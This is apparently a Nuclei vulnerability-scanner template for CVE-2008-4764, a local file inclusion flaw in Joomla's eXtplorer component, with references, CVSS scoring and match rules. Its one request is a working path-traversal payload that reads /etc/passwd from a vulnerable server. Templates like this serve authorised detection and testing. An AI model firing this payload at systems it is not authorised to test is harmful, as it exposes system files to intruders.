id: CVE-2008-4764

info:
  name: Joomla! <=2.0.0 RC2 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
  reference:
    - https://www.exploit-db.com/exploits/5435
    - https://www.cvedetails.com/cve/CVE-2008-4764
    - http://web.archive.org/web/20210121181347/https://www.securityfocus.com/bid/28764/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/41873
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4764
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2008-4764
    cwe-id: CWE-22
  tags: edb,cve,cve2008,joomla,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/07/06